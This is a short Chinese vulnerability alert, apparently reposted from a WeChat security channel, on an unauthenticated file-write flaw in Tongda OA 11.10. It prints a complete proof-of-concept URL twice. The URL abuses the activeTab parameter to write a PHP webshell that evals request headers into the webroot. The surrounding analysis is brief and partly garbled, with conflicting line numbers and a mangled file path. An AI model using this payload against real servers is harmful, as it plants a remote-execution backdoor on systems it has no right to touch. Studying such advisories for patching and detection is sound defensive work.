通达OA 11.10 未授权任意文件上传漏洞
http://url/general/appbuilder/web/portal/gateway/getdata?activeTab=%e5%27,1%3d%3Efwrite(fopen(%22C:/YAOA/webroot/general/1.php%22,%22w+%22),%22%3C?php%20eval(next(getallheaders()));%22))%3b/*&id=266&module=Carouselimage
官网地址:
https://www.tongda2000.com/
漏洞分析
通达OA v11.10存在未授权任意文件上传漏洞
官网:
https: //www.tongda2000.com/
版本:v11.10
-
actionGetdata()方法存在于代码generalappbuildermodulesportalcontrollersGatewayController.php中,其中activeTab参数可控。在 2018 行中,activeTab 参数位于 GetData 方法中。
在GetData()方法中,通过findall查询id参数,查看数组是否存在,如果查询到的id存在,则在第21行输入if语句。所以第38行的$attribute参数是可控的,导致数组关闭并通过 fwrite() 写入文件。
-
漏洞复现
poc
http://url/general/appbuilder/web/portal/gateway/getdata?activeTab=%e5%27,1%3d%3Efwrite(fopen(%22C:/YAOA/webroot/general/1.php%22,%22w+%22),%22%3C?php%20eval(next(getallheaders()));%22))%3b/*&id=266&module=Carouselimage
通过数组闭包用fwrite(fopen())写php文件,无参绕过全局过滤。
<? php eval(next(getallheaders()));
不带参数写入2.php文件,文件内容如下。
原文始发于微信公众号(利刃信安攻防实验室):【漏洞预警】通达OA 11.10 未授权任意文件上传漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论